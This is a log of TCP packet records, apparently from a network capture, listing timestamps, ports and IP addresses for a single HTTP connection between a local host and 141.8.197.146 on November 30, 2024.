Nov 30, 2024 05:00:22.648420095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.648493052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.648550034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.648597956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.649355888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.649477005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.649926901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.650293112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.650331974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.651232004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.651283979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.651345968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.651387930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.652200937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.652312994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.653125048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.653177023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.653230906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.653275013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.654090881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.654237986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.654289007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.655033112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.655141115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.656049967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.656105995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.656163931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.656207085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.656924009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.657052994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.657890081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.657938004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.657993078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.658070087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.658844948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.658951044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.659802914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.659853935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.659900904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.659956932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.660767078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.660832882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.661669970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.661722898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.661782980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.661828041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.662611961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.662735939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.662785053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.663595915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.663666010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.664550066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.664604902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.664649963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.664691925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.665492058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.665607929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.666121006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.666431904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.666562080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.667375088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.667419910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.667486906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.667530060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.668329954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.668452978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.669250011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.669292927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.669356108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.669397116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.670208931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.670291901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.670337915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.671145916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.671297073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.672115088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.672162056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.672214031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.672254086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.673057079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.673172951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.674034119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.674040079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.674134016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.674999952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.675045967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.675070047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.675115108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.675929070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.676052094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.676872015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.676927090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.676975965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.677020073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.677813053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.677937031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.677979946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.678795099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.678859949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.679775000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.679826021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.679858923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.679900885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.680668116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.680767059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.681612015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.681665897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.681718111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.681761980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.682583094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.682710886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.682754993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.683526039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.683588982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.684452057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.684490919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.684552908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.684593916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.685400963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.685570955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.685960054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.686336040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.686466932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.687304020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.687352896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.687424898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.687469006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.688244104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.688350916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.689192057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.689241886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.689291954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.689333916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.690176010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.720171928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.720225096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.720259905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.720469952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.720523119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.720566988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.721412897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.721465111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.721541882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.722426891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.722471952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.722492933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.723303080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.723351955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.723412037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.724286079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.724344015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.724387884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.725210905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.725286007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.725325108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.726135015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.726246119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.848156929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.848258018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.848433971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.848613977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.848721981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.849574089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.849643946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.849647045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.849690914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.850502968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.850579977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.850644112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.851505995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.851629972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.852264881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.852420092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.852552891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.852658033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.853349924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.853456974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.853522062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.854319096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.854434967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.854500055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.855252028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.855365038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.856215954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.856282949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.856323957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.856372118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.857147932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.857263088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.858015060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.858098984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.858207941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.859055996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.859102964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.859157085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.859205008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.860009909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.860136032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.860937119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.860985994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.861043930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.861089945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.861913919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.862024069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.862143993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.862833977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.862952948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.863801003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.863856077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.863910913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.863957882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.864759922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.864840031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.865704060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.865751028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.865809917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.865849018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.866658926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.866796017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.866846085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.867608070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.867718935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.868542910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.868628025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.868648052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.868695021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.869509935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.869618893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.870150089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.870445967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.870570898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.871398926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.871450901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.871490955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.871527910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.872349977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.872474909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.873284101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.873326063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.873384953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.873434067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.874238014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.874370098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.875180006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.875228882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.875293970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.875344992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.876132965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.876255035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.877074957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.877127886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.877185106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.877228975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.878017902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.878139973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.878968954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.879034996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.879086971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.879128933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.879923105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.880017996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.880891085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.880939960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.880991936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.881036997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.881812096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.881949902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.882761955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.882810116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.882884026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.882929087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.883738041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.883816957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.884670019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.884717941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.884769917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.884813070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.885624886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.885766029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.886115074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.886569977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.886687994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.887501955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.887547970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.887619972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.887659073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.888480902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.888581991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.889405012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.889455080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.889511108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.889559031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.890372038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.890516043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.890564919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.891299963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.921639919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.921736002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.921829939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.921993971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.922059059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.922198057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.922301054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.923154116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.923208952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.923253059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.923297882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.924108982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.924248934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.925052881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.925121069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.925147057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.925189972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.926011086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.926111937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.926163912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.926927090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.977334976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.049343109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.049391985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.049629927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.049906015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.049922943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.049971104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.050823927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.050868988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.050923109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.051785946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.051825047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.052747011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.052762032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.052809954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.053661108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.053678036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.053751945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.054603100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.054619074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.054673910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.055555105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.055572033 CET	80	49732	141.8.197.146	192.168.2.4
